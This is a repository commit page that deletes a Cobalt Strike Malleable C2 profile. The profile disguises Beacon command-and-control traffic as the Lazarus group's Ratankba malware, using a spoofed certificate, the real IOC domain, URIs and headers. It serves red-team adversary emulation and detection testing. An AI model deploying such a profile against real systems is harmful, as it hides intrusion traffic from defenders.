infosecn1nja
/
Malleable-C2-Profiles
mirror of https://github.com/infosecn1nja/Malleable-C2-Profiles.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Delete ratankba.profile

master
xx0hcd 2017-04-10 10:24:09 -05:00 committed by GitHub
parent ef3cf655c0
commit 0afe493e70
1 changed files with 0 additions and 116 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

116
ratankba.profile
View File

@ -1,116 +0,0 @@
#ratankba malware used by 'lazarus group'
#xx0hcd
#IOC's:
#C2 = www.eye-watch.in
#C2 URI's = '/jscroll/board/list.jpg', '/design/dfbox/list.jpg', and '/design/img/list.jpg'
#C2 params = 'u=' and coresponding command string (here we use Beacon comms instead) (listed all param info from docs though only used two)
#C2 param1 = '?action=What&u=<string>' -- action to perform
#C2 param2 = '?action=CmdRes&u=<string>&err=kill' -- result of command error code
#C2 param3 = '?action=CmdRes&u=<string>&err=exec' -- result of command return code
#C2 param4 = '?action=BaseInfo&u=<string>' -- basic information collected
#openssl to be realistic as possible
https-certificate {
set CN "eye-watch.in";
set O "Amazon";
set C "US";
set L "Scottsdale";
set OU "Starfield Class";
set ST "Arizona";
set validity "365";
}
set sleeptime "30000";
set jitter "20";
set useragent "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0";
set dns_idle "8.8.8.8";
set maxdns "235";
http-get {
set uri "/jscroll/board/list.jpg /design/dfbox/list.jpg /design/img/list.jpg";
client {
header "Host" "www.eye-watch.in";
header "Accept" "*/*";
header "Cookie" "0449651003fe48-Nff0eb7";
parameter "action" "What";
metadata {
netbios;
parameter "u";
}
}
server {
header "Cache-Control" "private, max-age=0";
header "Content-Type" "text/html; charset=utf-8";
header "Server" "nginx/1.4.6 (Ubuntu)";
header "Connection" "close";
output {
netbios;
print;
}
}
}
http-post {
set uri "/jscroll/board/List.jpg /design/dfbox/List.jpg /design/img/List.jpg";
set verb "GET";
client {
header "Host" "www.eye-watch.in";
header "Accept" "*/*";
parameter "action" "BaseInfo";
output {
netbios;
parameter "u";
}
parameter "err" "kill";
id {
base64url;
prepend "0449651003fe48-";
header "Cookie";
}
}
server {
header "Cache-Control" "private, max-age=0";
header "Content-Type" "text/html; charset=utf-8";
header "Server" "nginx/1.4.6 (Ubuntu)";
header "Connection" "close";
output {
netbios;
print;
}
}
}
http-stager {
server {
header "Cache-Control" "private, max-age=0";
header "Content-Type" "text/html; charset=utf-8";
header "Server" "nginx/1.4.6 (Ubuntu)";
header "Connection" "close";
}
}